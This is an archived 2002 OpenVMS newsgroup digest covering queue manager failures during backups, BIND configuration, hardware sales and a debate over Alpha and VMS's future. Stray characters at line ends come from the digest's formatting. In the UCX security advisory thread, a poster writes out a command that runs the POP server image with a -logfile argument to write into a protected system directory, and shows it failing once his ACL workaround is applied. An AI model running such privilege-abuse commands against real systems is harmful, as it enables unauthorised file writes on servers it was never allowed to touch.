 Paul Sture Switzerlanda   ------------------------------    Date: 26 Sep 2002 03:11:19 +0800, From: Paul Repacholi <prep@prep.synonet.com>/ Subject: Re: QUEUE MANAGER dying during backupsi- Message-ID: <871y7hj354.fsf@prep.synonet.com>l  8 Glen Mark martin <glenmark@utxvms.cc.utexas.edu> writes:  D > Already in the cards. I was just wondering if I was dealing with aE > known issue or if anyone had a clue as to what might have triggeredi > this puzzling behavior...r  H QMAN closes file it is not using right now. BACKUP grabs it. QMAN want'sB its file back, can't because backup has it. Qman dies screaming...C So either stop the Qman and shut down everything for the backup, or D use a /IGN=INTER. If you have to do the later, be sure to understand the implications.-   -- -< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.I@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------  % Date: Wed, 25 Sep 2002 14:07:57 -0400u# From: "Island" <sales@islandco.com>./ Subject: Selling: DS10L 256MB 60GB Disk USD$699e/ Message-ID: <up3upcjmq23ac2@news.supernews.com>    DS10L EV6 21264 466Mhz 60GB Hard Disk 1 PCI slot (open)k On Board  Dual 10/100 Ethernet No CD or Floppyh
 No Video Cardm   $699 + shippingf    # PBXGF-AB 3Dlabs Video 32MB PCI $200l   Perfect for network boot     -- David B Turner	 Sales Dpti Island Computers US Corporationd 2700 Gregory Streeta	 Suite 180. Savannah GA 31404l Tel: 912 447 6622e Fax: 912 201 0096i sales@islandco.com www.islandco.com' http://www.islandco.com/legal-email.htmf   We sell Alpha Systems !-* All emails are checked for Virus and Worms   ------------------------------    Date: 26 Sep 2002 03:50:42 +0800, From: Paul Repacholi <prep@prep.synonet.com>0 Subject: Re: sys$Pipe and DCL$PATH documentation- Message-ID: <87ofalhmr1.fsf@prep.synonet.com>   4 hoffman@xdelta.zko.dec.nospam (Hoff Hoffman) writes:  ^ > In article <3D8B6387.20800@oracle.com>, norm lastovica <norman.lastovica@oracle.com> writes:E > :try using www.google.com and search for DCL$PATH and then SYS$PIPEy > :h > :Paul Repacholi wrote:7 > :> WHere? I have searched the CDs, but found nothing.  >  >   Re: DCL$PATH  lD >   "Automatic Foreign Command" is the magic incantation to look forC >   in the OpenVMS Master Index manual.  (This particular AutomaticrA >   Foreign Command mechanism is documented in the User's Guide.)d  8 Thanks. Now I can see what is the official line on this.   -- a< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.a@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------  # Date: Wed, 25 Sep 2002 20:27:14 GMT . From: "Jason Fountain" <Jason.Fountain@hp.com> Subject: Re: TCPIP BIND stuffi2 Message-ID: <C_ok9.39$LD4.734341@news.cpqcorp.net>  G The convert command is used to convert the existing TCPIP SET CONF BINDpB stuff into the ascii file.  It does not work the other way around.I Starting with TCP/IP Services v5.0 the information in the CONF BIND is no H longer used by the BIND server.   It only uses the ascii file.   So if uL want to keep issues set conf commands you can but you will need to issue theI CONVERT command each time and it will overwrite your previous ascii file.eH I'd recommend just doing it once for rollover purposes and then edit theD ascii file thereafter.  This is all discussed in the TCP/IP Services Management Guide.o  	 re: cacheo  F In V5.3 you can dump the db with the rndc utility (in 5.1 it was ndc):   $rndc dumpdb   The cache is stored in memory.   -ja   : "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message& news:3D91F663.C98033BE@videotron.ca... > Peter LANGSTOEGER wrote:I > > >this creates the file TCPIP$BIND_SERVER_ZONES_DUMP.DB which contains  info on  > > >stuff that is cached. > >3! > > And why would you need that ?s > G > Interesting method to find out where your web browser has tried to go  withoutuI > you knowing it. Also interesting method to track where your 11 year olds nephew8 > has gone when he comes to play on the net here :-) :-) >tI > The cache is bigger than I had expected. Yet I have no idea where it isn > stored. (file or memory ?) > K > > If you use TCPIP$BIND.CONF (which I recommend) then leave SET CONF BIND  blank.L > > Means TCPIP SET CONF NOBIND (after moving the config to TCPIP$BIND.CONF) > > made it for me...4 >0; > Thanks. That sounds reasonable. Perhaps there should be atL > TCPIP> SET COND BIND/CONF=TCPIP$CONF which would indicate that the bind isF > configured in the ascii file. (more for a documentation purpose than anythingJ > else). Then, if someone tried to issue a SET CONF BIND command, he would beL > warned, and if one tried to CONVERT CONF BIND, a big ugly warning could be issued.i   ------------------------------  # Date: Wed, 25 Sep 2002 08:04:15 GMTl. From: peter@langstoeger.at (Peter LANGSTOEGER) Subject: Re: TCPIP BIND stuffa2 Message-ID: <36ek9.8378$142.203981@news.chello.at>  \ In article <3D916C87.F2CB90D4@videotron.ca>, JF Mezei <jfmezei.spamnot@videotron.ca> writes:H >Some time ago, I asked about how one could see the contents of the BIND& >server's cache. Didn't get an answer.  N Can't remember to have seen the question. But my ISPs newsserver isn't good...  * >Well, I finally found the way to do this: >h$ >MC TCPIP$BIND_SERVER_CONTROL dumpdb >yM >this creates the file TCPIP$BIND_SERVER_ZONES_DUMP.DB which contains info on5 >stuff that is cached.   And why would you need that ?j  
 >Question: >cL >one can use CONVERT CONF BIND to produce the TCPIP$BIND.CONF file from someF >proprietary VMS file used by the TCPIP utility ( TCPIP> SET CONF BIND >/whatever ) >3M >Is there a way to do the opposite of CONVERT CONF BIND , i.e. something thateG >reads the real TCPIP$BIND.CONF file and sets up the proprietary TCPIP>s >configuration ?  B Dunno. I never worked with convert tools. I never had a need to...  O >I have begun to manually edit the TCPIP$BIND.CONF file to add a few things nott  >included in the TCPIP> utility. >cH >But once the two configurations start to stray apart, it can cause someN >management problems later on. Is there expectation that the two will manuallyK >be kept in sync ? Or is there a method to flag the TCPIP> configuration so 1 >that it is obvious that it is no longer in use ?   N If you use TCPIP$BIND.CONF (which I recommend) then leave SET CONF BIND blank.H Means TCPIP SET CONF NOBIND (after moving the config to TCPIP$BIND.CONF) made it for me...d   -- . Peter "EPLAN" LANGSTOEGER'% Network and OpenVMS system specialisti E-mail  peter@langstoeger.atP A-1030 VIENNA  AUSTRIA              I'm looking for (a) Network _and_ VMS Job(s)   ------------------------------  % Date: Wed, 25 Sep 2002 13:46:12 -0400o- From: JF Mezei <jfmezei.spamnot@videotron.ca>e Subject: Re: TCPIP BIND stuffs, Message-ID: <3D91F663.C98033BE@videotron.ca>   Peter LANGSTOEGER wrote:O > >this creates the file TCPIP$BIND_SERVER_ZONES_DUMP.DB which contains info ont > >stuff that is cached. >  > And why would you need that ?)  M Interesting method to find out where your web browser has tried to go withoutrN you knowing it. Also interesting method to track where your 11 year old nephew6 has gone when he comes to play on the net here :-) :-)  G The cache is bigger than I had expected. Yet I have no idea where it isn stored. (file or memory ?)  P > If you use TCPIP$BIND.CONF (which I recommend) then leave SET CONF BIND blank.J > Means TCPIP SET CONF NOBIND (after moving the config to TCPIP$BIND.CONF) > made it for me...l  : Thanks. That sounds reasonable. Perhaps there should be a J TCPIP> SET COND BIND/CONF=TCPIP$CONF which would indicate that the bind isM configured in the ascii file. (more for a documentation purpose than anythingpK else). Then, if someone tried to issue a SET CONF BIND command, he would besR warned, and if one tried to CONVERT CONF BIND, a big ugly warning could be issued.   ------------------------------  % Date: Wed, 25 Sep 2002 22:00:33 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>- Subject: Re: TCPIP BIND stuff , Message-ID: <3D926A38.6CEA29D6@videotron.ca>   Jason Fountain wrote:@K > Starting with TCP/IP Services v5.0 the information in the CONF BIND is no7! > longer used by the BIND server.s  I yep, the manual does make it clear, but it also leaves the option open tolH continue to use the TCPIP SET CONF BIND commands followed by the CONVERT) command to generate the "real" configs.     J So if you go to a new site and are not sure what method was being used, itK could lead to problems if you make a change using the wrong method. That isnI why I was suggesting having a flag in the TCPIP> SET CONF BIND that wouldrL clearly indicate that this config is not being used, and blocking the use of+ those commands. That would make it obvious.   H > In V5.3 you can dump the db with the rndc utility (in 5.1 it was ndc): >  > $rndc dumpdb  N On VMS 5.3, the rndc symbol does exist after tcpip$define_commands, but pointsL to a non existant executable on VAX ( TCPIP$RNDC.EXE doesn't exist), but theD TCPIP$BIND_SERVER_CONTROL.EXE does exist and has the dumpdb command.    > The cache is stored in memory.     Thanks.e   ------------------------------  # Date: Wed, 25 Sep 2002 15:06:21 GMT., From: "Kenneth Farmer" <kfarmer@openvms.org>. Subject: The OpenVMS Consultant: Logical Names> Message-ID: <Nhkk9.66150$ip3.3232309@twister.southeast.rr.com>  1 Robert Gezelter posted an article on OpenVMS.org.o  % The OpenVMS Consultant: Logical Namesn9 http://www.openvms.org/stories.php?story=02/09/24/5441505-     Ken-   --   Kenneth Farmer http://www.Tru64.org http://www.OpenVMS.org http://www.LinuxHPC.orgc   ------------------------------    Date: 25 Sep 2002 11:03:17 -0700& From: RJDurkee@yahoo.com (Rich Durkee) Subject: TL894 for sale - cheapm= Message-ID: <14deb915.0209251003.6f175f62@posting.google.com>   C My company has a TL894 tape library for sale. It has 4 DLT7000 tape9B drives and 48 or so slots. It has barely been used. We bought it aD couple of years ago to backup a large application. Unfortunately theC project was scrapped. We would like to get $5000 for it. If you are F interested, let me know via email at yahoo.com my user id is RJDurkee, or call 810-606-6706.t   Rich Durkeep   ------------------------------    Date: 25 Sep 2002 18:56:44 -0600+ From: kuhrt@encompasserve.org (Marty Kuhrt)n% Subject: Re: Tomcat and CSWS (Apache).3 Message-ID: <jHLzTRwNhDGj@eisner.encompasserve.org>t  ^ In article <amspho$7c1$1@newslocal.mitre.org>, lewis@spyder.mitre.org (Keith A. Lewis) writes:I > Has anybody run Tomcat with CSWS on OpenVMS/Alpha?  I am having troublecI > getting mod_jk to compile.  I think I could do it with the CSWS source.1 > 1 > $ cc mod_jserv/incl=APACHE$COMMON:[SRC.INCLUDE]b >  > #include "os.h"u > ^rM > %CC-F-NOINCLFILEF, Cannot find file "os.h" specified in #include directive. E > at line number 114 in file APACHE$COMMON:[SRC.INCLUDE]AP_CONFIG.H;1r > 4 > I'm using Compaq C V6.4-008 on OpenVMS Alpha V7.3. > J > Tomcat is an allegedly open source web server (although I have found theA > Java sources are incomplete) that does JSP among other things. c > - > --Keith Lewis              klewis$mitre.org-@ > The above may not (yet) represent the opinions of my employer.  C I have the precompiled version working just fine.  I haven't tried m to compile it, though, so YMMV.    ------------------------------  % Date: Thu, 26 Sep 2002 11:16:30 +1000w9 From: forMsytAhm@optusShom.com.aKu (Mark(un-MASK)Forsyth)r" Subject: Re: UCX security advisory8 Message-ID: <slrnap4nve.1ml.forMsytAhm@plague.bogus.com>  O On Wed, 25 Sep 2002 18:15:19 +0100, Mike Riley <mike@akita.co.uk> gushed forth::> >Just a heads up,  our company has just released a UCX-related> >security advisory to bugtraq at al.  There is a patch for the0 >issue available.  The advisory can be found at: >t  O A quick workaround that _seems_ ok after minimal testing would be to set an ACL < on sys$system:ucx$pop_server.exe and restart the pop server.  6 ------------------------------------------------------  ' $ dir/sec sys$system:ucx$pop_server.exer   Directory SYS$COMMON:[SYSEXE]    UCX$POP_SERVER.EXE;1F                      [SYSTEM]                         (RWED,RWED,RE,R)Q           (IDENTIFIER=[UCX$AUX,UCX$POP],ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL)eH           (IDENTIFIER=[SYSTEM],ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL)(           (IDENTIFIER=[*,*],ACCESS=NONE)   Total of 1 file.  A -----------------------------------------------------------------   ^ I'm running ancient versions of everything here until I can get my hands on a recent distro...  > DIGITAL TCP/IP Services for OpenVMS Alpha Version V4.2 - ECO 12   on a DEC 3000 Model 300 running OpenVMS V7.1-2     -- R     Ooroo 	 Mark F...   $ Another Optus Cable Traffic Monitor.3 http://www.members.optushome.com.au/forsythm/traff/    ------------------------------  % Date: Wed, 25 Sep 2002 22:03:51 -0400r- From: JF Mezei <jfmezei.spamnot@videotron.ca>h" Subject: Re: UCX security advisory, Message-ID: <3D926AFE.A2E75117@videotron.ca>  I I haven't kept track with the fancy security features added with 6.0 withp regards to applications.  M Would there be a way to setup the BIND_SERVER image so that it only gains theo2 privileges if t is executed under s apecific UIC ?  K Wouldn't it be simpler to just give the TCPIP$POP UIC the proper privileges ' and not give the image the privileges ?o   ------------------------------  % Date: Thu, 26 Sep 2002 13:32:12 +1000 9 From: forMsytAhm@optusShom.com.aKu (Mark(un-MASK)Forsyth)o" Subject: Re: UCX security advisory8 Message-ID: <slrnap4vtq.1ml.forMsytAhm@plague.bogus.com>  Y On Wed, 25 Sep 2002 22:03:51 -0400, JF Mezei <jfmezei.spamnot@videotron.ca> gushed forth:aJ >I haven't kept track with the fancy security features added with 6.0 with >regards to applications.n > N >Would there be a way to setup the BIND_SERVER image so that it only gains the3 >privileges if t is executed under s apecific UIC ?o >oL >Wouldn't it be simpler to just give the TCPIP$POP UIC the proper privileges( >and not give the image the privileges ?  S It probably would be, I dunno. All I did to come up with my workaround was to sticksU an audit ACE on ucx$pop_server.exe and let things run for a while. The only user thateR executed it was ucx$pop so I figured that a quick dirty (my speciality) workaroundP would be to slap and ACL on it to stop anyone other than ucx$pop and system fromT getting at it. So far I haven't seen any ill effects and the published vulnerability[ doesn't work from a non-privileged account. Good enough for me until I get things upgraded.l  V I still haven't worked out why it needs to be installed with BYPASS and SYSPRV. I alsoW haven't worked out why ucx$pop_startup requires SETPRV, SYSPRV, BYPASS, DETACH, CMKRNL h: and OPER either although I can see a need for some of 'em.     -- m     Ooroo:	 Mark F...r  $ Another Optus Cable Traffic Monitor.3 http://www.members.optushome.com.au/forsythm/traff/X   ------------------------------  % Date: Thu, 26 Sep 2002 00:41:46 -0400r- From: JF Mezei <jfmezei.spamnot@videotron.ca>a" Subject: Re: UCX security advisory, Message-ID: <3D928FF7.4DCDFC02@videotron.ca>   "Mark(un-MASK)Forsyth" wrote:nV > getting at it. So far I haven't seen any ill effects and the published vulnerability] > doesn't work from a non-privileged account. Good enough for me until I get things upgraded.   M Correction: it works from non-privileged accounts.  Look at the UAF specs forsJ TCPIP$POP account. And I tried at at home from a different account and wasK able to create a file in a directory that I shouldn't have been able to do.-    X > I still haven't worked out why it needs to be installed with BYPASS and SYSPRV. I alsoX > haven't worked out why ucx$pop_startup requires SETPRV, SYSPRV, BYPASS, DETACH, CMKRNL< > and OPER either although I can see a need for some of 'em.  6 POP needs at least SYSPRV to access anyones's mailbox.  ? TO bind the port 110, here is what the programming manual says:  #eE The process must have a system user identification code (UIC) and the A SYSPRV, BYPASS, or OPER privilege to bind port numbers 1 to 1023.h #H  F Shouldn't POP be able to run with just SYSPRV and OPEN ? I'd feel more comfortable without BYPASS.r   ------------------------------  % Date: Thu, 26 Sep 2002 15:02:54 +1000e9 From: forMsytAhm@optusShom.com.aKu (Mark(un-MASK)Forsyth)d" Subject: Re: UCX security advisory8 Message-ID: <slrnap557s.1ml.forMsytAhm@plague.bogus.com>  Y On Thu, 26 Sep 2002 00:41:46 -0400, JF Mezei <jfmezei.spamnot@videotron.ca> gushed forth:/ >"Mark(un-MASK)Forsyth" wrote:W >> getting at it. So far I haven't seen any ill effects and the published vulnerabilityh^ >> doesn't work from a non-privileged account. Good enough for me until I get things upgraded. >tN >Correction: it works from non-privileged accounts.  Look at the UAF specs forK >TCPIP$POP account. And I tried at at home from a different account and was-  R Perhaps I should have said that it doesn't work from a no-privileged account other# than ucx$pop with the ACL in place.a  L >able to create a file in a directory that I shouldn't have been able to do.  N But with my ACL on ucx$pop_server.exe no-one other than ucx$pop and system can do anything with it....d   $ sh proc/priv  G 26-SEP-2002 14:50:12.29   User: MFORSYTH         Process ID:   00000941=I                           Node: PLAGUE           Process name: "MFORSYTH"s  , Authorized privileges:  NETMBX       TMPMBX  o Process privileges:P/  NETMBX               may create network devicee2  TMPMBX               may create temporary mailbox  g Process rights:c#  INTERACTIVE                       -#  REMOTE                            m    System rights:#  SYS$NODE_PLAGUE                   M- $ break_it :== $sys$system:ucx$pop_server.exe ? $ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HERE0E %DCL-W-ACTIMAGE, error activating image SYS$SYSTEM:UCX$POP_SERVER.EXE:S -CLI-E-IMGNAME, image file PLAGUE$DKA0:[SYS0.SYSCOMMON.][SYSEXE]UCX$POP_SERVER.EXE;J? -RMS-E-PRV, insufficient privilege or file protection violation9 $      >1 >vY >> I still haven't worked out why it needs to be installed with BYPASS and SYSPRV. I also Y >> haven't worked out why ucx$pop_startup requires SETPRV, SYSPRV, BYPASS, DETACH, CMKRNLo= >> and OPER either although I can see a need for some of 'em.w >i7 >POP needs at least SYSPRV to access anyones's mailbox.  >i@ >TO bind the port 110, here is what the programming manual says: >#F >The process must have a system user identification code (UIC) and theB >SYSPRV, BYPASS, or OPER privilege to bind port numbers 1 to 1023. >#  < Yes. Those are the ones I can see a need for. But SETPRV ???     >-G >Shouldn't POP be able to run with just SYSPRV and OPEN ? I'd feel moreh >comfortable without BYPASS.  P So would I. IME BYPASS is just an abreviation for "shot myself in the foot"..:-)     -- i     Ooroo 	 Mark F...s  $ Another Optus Cable Traffic Monitor.3 http://www.members.optushome.com.au/forsythm/traff/A   ------------------------------  # Date: Wed, 25 Sep 2002 20:28:58 GMTm. From: "Jason Fountain" <Jason.Fountain@hp.com># Subject: Re: Various BIND questionse2 Message-ID: <e0pk9.40$uz4.618608@news.cpqcorp.net>  ) GPOS is supported in TCP/IP Services v5.3r   -jag   ------------------------------  % Date: Wed, 25 Sep 2002 14:12:23 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>a9 Subject: Re: VMS future (oh not not another one of these)., Message-ID: <3D91FC85.472DD8A1@videotron.ca>   Fred Kleinsorge wrote:N > The Multia was *never* designed to be ANYTHING but what it was - a Windows/X > terminal.l   And therein lies the problem.    WHY ????  L Why didn't they just design a cheap alpha based workstation and allow any OSM to load on it ? One group could have marketed a pacckage that was a glorified-K X terminal, another could have marketed it as a NT workstation, and the VMS2I groupd could have marketed it as a low cost entryt level VMS workstation.D@ Greater sales, greater volumes, lower production costs per unit.  E The decision to restrict it only to NT (either with a fuse or throught marketinG/pricing) was wrong.t   ------------------------------  # Date: Wed, 25 Sep 2002 06:46:34 GMTa* From: "Bill Todd" <billtodd@metrocast.net>9 Subject: Re: VMS future (oh not not another one of these)cC Message-ID: <eZck9.276195$AR1.11703229@bin2.nnrp.aus1.giganews.com>o  ? "Robert Deininger" <rdeininger@mindspring.com> wrote in message1E news:rdeininger-2409022328420001@1cust138.tnt3.nashua.nh.da.uu.net...:K > In article <oC2k9.250930$z91.10889890@bin3.nnrp.aus1.giganews.com>, "Billn' > Todd" <billtodd@metrocast.net> wrote:o >v >cC > >> I won't comment on your numbers, because I have heard too manyd conflictingoG > >> ones and have no reliable way to know which are best.  A throwaway, remarkK > >> from Marcello or Winkler isn't particularly credible to me, especiallye > >> without a lot of context. > >-J > >Perhaps instead of just speculating you'd be better advised to read theJ > >sources of those remarks:  they weren't 'throwaways' (but of course youG > >wouldn't know that, not having bothered to check before presuming to5 > >comment). >n9 > I'll type slower, so maybe you'll understand this time.f >eK > I was not speculating above, but stating my opinions.  I can do that withc > some certainty.  >tI > I HAVE read the Marcello and Winkler statements, or posted reports fromh > folks who heard spoken stuff.d >>K > I HAVE seen conflicting numbers, some from you and others here, some fromgL > non-public sources.  I don't have good enough info to pick the right ones.  L Ah - then let's add a bit more to help you out (though you'd already know it) if you had been paying closer attention).s  J Check out the figures on page 40 (42 if you're looking at it with Acrobat)J in the 1999 Compaq Annual Report.  They indicate projected expenditures toG develop in-process DEC technology:  $500+ million annually in the yearssK 2000 - 2003, then falling off rapidly (because whatever technology would beuJ being developed in later years was not yet 'in process' at the time of the
 acquisition).'  H Now jump to page 54 (56) of the same document, which gives at least someI insight into the relative distribution of those expenditures by virtue of8H estimating returns.  Storage is expected to be the dominant contributor,J followed by the Alpha platforms, with Windows a distant third and the rest lumped into fourth place.e  L If you carve up $500+ million with the largest single chunk going to storageK development (as one might expect in the rationally-managed company you seemhK to believe Compaq to have been), two somewhat smaller chunks going to Alpha I and server development, and another modest chunk for the balance, you get-K numbers that will be at least something like $160 million for storage, $140SJ million for Alpha (including EV7 through 2002, which is one reason why theI numbers drop slightly in 2002 and 2003:  EV8 development alone likely ran F closer to $100 million), $120 million for server development, and $100K million for everything else.  In any event, the numbers certainly jibe wellaG with the explanation I've offered for the difference between Marcello'sMH statement and Winkler's, and do not jibe well at all with the assumptionK that Alpha chip development alone cost anything like $300 million annually.r  H So come back to this discussion when you have something more substantial( than smoke to blow at those conclusions.  @ Interestingly, the 2000 Compaq Annual Report indicates projectedL expenditures for in-process acquired DEC technology to be about $100 millionD lower for the years 2001, 2002, and 2003 than those projected a year) earlier.  How remarkably prescient of it.o   ...o  K > >The only intrinsically higher cost in EV7 is its increased chip area - aG feweI > >hundred dollars per package at most, a good deal of which is offset byS the G > >reduction in supporting chip count that EV7's design makes possible.t >CK > Do you have a source for this "few hundred dollars" estimate?  Or is it aU guess?  L Chip area actually costs a great deal less than that:  the cost of the 1400+L pin package is likely more significant.  While actual chip costs are closelyJ guarded within the industry, the consensus of people who know a great dealL more than I do about them seems to be that the similarly-large Itanic2 wouldF cost Intel well under $200 to manufacture if they could sell enough to justify use of the fab line.   - bill   ------------------------------  # Date: Wed, 25 Sep 2002 07:19:30 GMTo* From: "Bill Todd" <billtodd@metrocast.net>9 Subject: Re: VMS future (oh not not another one of these)oB Message-ID: <6sdk9.207807$216.7196748@bin4.nnrp.aus1.giganews.com>  : "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message& news:3D914274.CF7E4799@videotron.ca...   ...A  I > What disapoints me in EV7 is that it seems to have been architecturallyeL > designed to make it unsuitable for small systems.  I would have hoped thatJ > architecturally it could have been more versatile, with the first modelsC > designes for the larger "wildfire" class machines, but allowing an	 differenta3 > model of EV7 to be airmed at the smaller systems.r  G I don't think you understand EV7 any better than Robert does.  The onlyiF element of EV7 that's inapplicable to a single-processor system is itsJ on-chip routing, which isn't a major factor in chip area.  Everything elseL both contributes to single-processor-system performance (fast on-chip cache,G direct access to memory) and minimizes the need for surrounding supportcH chips (no need for external cache due to the fast main-memory access andK on-chip cache, no need for an external memory controller or 'northbridge').t  H So while the EV7 processor package may be considerably more expensive toL build than the EV6 processor package, an EV7 system would not necessarily beH *any* more expensive to build than a similarly-decked-out (fast externalK memory controller, large external cache) EV6 system.  As I said previously,pG the only real space left for EV6 to contribute to might be a bare-bonestK entry-level system, and even there the price advantage would only be in thel$ hundreds (not thousands) of dollars.  L EV7 systems will almost certainly be expensive, but it won't be because theyK cost that much to build.  After all, that's become something of a traditioncE with Alpha now (and, to be fair, isn't exactly unknown in the rest ofOJ Alpha's industry market segment either, though Sun seems to understand the0 need for volume even at some expense in margin).   >-J > Lets assume for a minute that Digital still existed, Palmer ousted, withB > Marcello at the helm wanting to make VMS popular from laptops to
 wildfires.  J It's a nice fantasy, but so far removed from reality that trying to use itF to discuss this particular topic may simply be silly.  For example, ifK laptop (or, for an even better laugh, PDA) Alphas were a consideration, EV6sG might not be all that much more attractive than EV7 (and EV8 would be arK non-starter:  laptops and PDAs need 8-wide issue and SMT like a hole in theo head).  J > Would he really want smaller systems to be "stuck" at EV6x with only the< > larger systems benefiting from advances in Alpha designs ?  F Probably, yes.  Because by and large the advances address large-scale,L server-style (or high-end workstation) environments, whereas (e.g.) portableG systems have drastically different requirements (power being a biggie).s  L If Alpha were competing head-to-head across the board with IA32, it would beI reasonable to expect it to need a somewhat-comparable number of differentaI implementations across the range that IA32 has.  Intel uses two radicallyoE different cores at present (P3 and P4), plus additional major on-chip H variations within both subsets (and with new variations coming up soon).    In the long term,J > they would have to develop two architectures: the EV6x track for smaller7 > systems, and EV7, EV8, EV9 etc for the large systems.o  H Nope:  you're forgetting the magic of continuing process shrinkage.  ForF example, while something like the EV8 core wouldn't be appropriate forH portable uses in 2004, by a few years later it would quite possibly haveB shrunk enough that it would be.  So maintaining about one previous9 generation for low-end or portable use is quite feasible.    > K > Wouldn't it have been better to keep developping the architecture so that  eachL > major iteration could result in chips supporting the whole range ? (eg: an EV7N< > chip for the high end, and an EV7 chip for the lower end).  L Nope.  The range of requirements is too broad for a single implementation toJ meet all of them well, especially given that previous-generation cores are= often recyclable at minimal cost and effort to help cover it.u   - bill   ------------------------------  % Date: Wed, 25 Sep 2002 09:31:42 +0100P% From: Alan Greig <a.greig@virgin.net>i9 Subject: Re: VMS future (oh not not another one of these)O8 Message-ID: <8is2pusq0ehf10812vj2ae6ojdc39eb12q@4ax.com>  3 On Tue, 24 Sep 2002 15:40:18 GMT, "Fred Kleinsorge"A$ <kleinsorge@star.zko.dec.com> wrote:  G >The Multia was built as a network appliance.  A fancy Windows Terminal J >before it's time.  It was never built to run VMS, and it was built by the  A Err, I respectfully disagree. That was certainly one of the majoru> design goals but, as the name "Multia" itself reflects, it wasF supposed to have multiple applications. In early customer briefings itD was suggested that it would be able to run VMS. When we (at the timeE University of Abertay, Dundee Scotland) inquired about buying 30 with F VMS we were told it would not be supported. When we said "then we will: run it unsupported" we were told that the machine would beE intentionally "crippled" so as not to run VMS. In eventual productionoD I don't think the fusible link on the EV4 was ever actually blown toE prevent it running VMS style memory management but this was intended.e  K >terminals group.  The fact that we hacked something together for hobbyist,cL >doesn't mean it would have succeeded as a real product... even though I and >others did advocate for it.  % But by no accident you were outvoted.h   >r >i   -- Alan   ------------------------------    Date: 26 Sep 2002 02:13:48 +0800, From: Paul Repacholi <prep@prep.synonet.com>9 Subject: Re: VMS future (oh not not another one of these)e- Message-ID: <87elbihr8j.fsf@prep.synonet.com>:  4 rdeininger@mindspring.com (Robert Deininger) writes:  E > But I was wondering about price, not price/performance.  Many folksyC > here don't want to hear about TCO or prices/performance, but onlynE > raw price.  I haven't seen any hint that EV8 could have been pricedeE > favorably, especially on the low end.  EV7 must cost much more/chipt9 > than EV68, and EV8 would have been even more expensive.-  B The relative cost would not be much different, and would be mostlyB from the package, not the silicon. The EV7/8 does not have to cart) around the millstone of $1100 in chipset.a     -- 4< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.p@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------  # Date: Wed, 25 Sep 2002 13:31:52 GMTh5 From: "Fred Kleinsorge" <kleinsorge@star.zko.dec.com>e9 Subject: Re: VMS future (oh not not another one of these) 1 Message-ID: <cVik9.7$Zj4.251003@news.cpqcorp.net>   A David Froble wrote in message <3D9136A9.3010600@tsoft-inc.com>...r >Fred Kleinsorge wrote:  >sD >> David J. Dachtera wrote in message <3D8FBA0E.8E2DB7D9@fsi.net>... >> >>>Fred Kleinsorge wrote:P >>>h >>H >>>>As far as I know, we sell VMS on the DS10.  We sold VMS on a Tadpole >>>>
 >> laptop, >>" >>>>but not many people bought it. >>>>H >>>Well, it's that whole "affordability" thing that keeps getting in the >>>way, y'know?r >>>  >>>  >>3 >> I don't think *we* set the price on the Tadpole.a >S >eC >I'm assuming that the VMS licenses on the Tadpole did cost the mfg 
 something?K >who set those prices?  What were those prices?  Would they let the Tadpoled >compete with other notebooks? >8  H We actually did most of the design for the laptop, and all of the SW.  IL don't believe Tadpole spent a dime on that.  They built a laptop and sold itJ for what they thought they could get for it, based on what it cost them to make it.  H I don't believe that we had anything to do with setting the price of theK laptop.  I believe that the VMS license cost was seperate from the HW (evend if it might have been bundled).t   ------------------------------    Date: 25 Sep 2002 07:49:19 -0700% From: Alan Greig <a.greig@virgin.net>t9 Subject: Re: VMS future (oh not not another one of these) ) Message-ID: <amsidf02fa0@drn.newsguy.com>   @ In article <vDjk9.11$Tn4.347236@news.cpqcorp.net>, "Fred says... > I >You are mixing two different things.  The concept of a fuseable link waseM >chip related, and designed to lock out UNIX and VMS from NT systems.  It wasa >never done.  : Never the less we were told it would be done on the Multia   >5M >The Multia was *never* designed to be ANYTHING but what it was - a Windows/X0L >terminal.  Because it was ahead of it's time, it ended up being 98% of what  I When we asked to buy 30 with VMS it was suggested we buy 30 with Alpha/NTeI instead. That's Alpha/NT installed locally. How can you call that "just alP Windows/X terminal" - well views on NT just being a glorified terminal aside! If0 it could be sold with an NT OS then why not VMS?  + We didn't buy any with Alpha/NT in the end.e  M >a cheap workstation would contain.  The desktop group *never* intended it to/K >be a general purpose machine.  Whoever suggested that it might run VMS waseH >engaging in wishful thinking.  The fact VMS ran on it at all was a sideL >effect of the system being based on something close to what we did support,2 >and an engineer who made it work on his own time.  N I know that's how the midnight engineering work was done but that doesn't meanN that the same work couldn't have been done formally had someone authorised it.K It was fully qualified to run Alpha/NT so why not VMS? That was a politicalL	 decision.h   >SM >>>terminals group.  The fact that we hacked something together for hobbyist,tJ >>>doesn't mean it would have succeeded as a real product... even though I >and >>>others did advocate for it. >>' >>But by no accident you were outvoted.s >> >uK >It was a day late and a dollar short.  There was no structure setup to getdK >this system sold as something other than what it was, and it competed withlI >the workstation group.  By the time we were trying to do something, they1: >were being dumped on the market cheap to get rid of them.  L Just a pity they hadn't been sold with VMS from the start. Maybe there wouldH have been no need to dump them cheaply later. Yes, I know about the heatM reliability problems but that could easily have been solved. Many people have : been running them reliably as hobby systems for years now.   ------------------------------  # Date: Wed, 25 Sep 2002 15:41:45 GMTe5 From: "Fred Kleinsorge" <kleinsorge@star.zko.dec.com>n9 Subject: Re: VMS future (oh not not another one of these) 2 Message-ID: <ZOkk9.24$%k4.282694@news.cpqcorp.net>   Alan Greig wrote in message ...hA >In article <vDjk9.11$Tn4.347236@news.cpqcorp.net>, "Fred says...t >>J >>You are mixing two different things.  The concept of a fuseable link wasJ >>chip related, and designed to lock out UNIX and VMS from NT systems.  It wasi
